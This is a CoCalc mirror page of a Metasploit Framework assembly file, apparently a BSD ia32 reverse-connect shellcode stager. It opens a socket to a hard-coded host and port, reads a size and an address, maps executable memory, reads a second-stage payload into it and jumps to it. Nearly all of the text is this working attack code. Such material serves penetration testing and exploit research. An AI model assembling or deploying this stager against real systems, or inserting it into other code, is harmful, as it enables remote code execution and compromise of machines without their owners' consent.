CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/shellcode/bsd/ia32/single_reverse_libinject.asm
Views: 11784
1
BITS 32
2
3
section .text
4
global main
5
6
main:
7
push byte 0x61
8
pop eax
9
cdq
10
push edx
11
inc edx
12
push edx
13
inc edx
14
push edx
15
push dword 0x0100007f
16
int 0x80
17
18
xchg eax, ebp
19
20
push word 0xffff
21
push dx
22
mov esi, esp
23
push byte 0x10
24
push esi
25
push ebp
26
push byte 0x62
27
pop eax
28
cdq
29
push edx
30
int 0x80
31
32
mov [esi - 4], byte 0x0c
33
push byte 0x03
34
pop eax
35
int 0x80
36
37
push byte 0xff
38
mov dh, 0x10
39
mov dl, 0x12 ; 0x1012 (ANON | FIXED | PRIVATE)
40
push edx
41
push byte 0x07 ; READ | WRITE | EXEC
42
push dword [esi] ; size
43
push dword [esi + 4] ; addr
44
mov al, 71 ; old_mmap() (portable?!)
45
push ebp
46
int 0x80
47
48
push byte 0x03
49
pop eax
50
push dword [esi + 8]
51
int 0x80
52
53
ret
54
55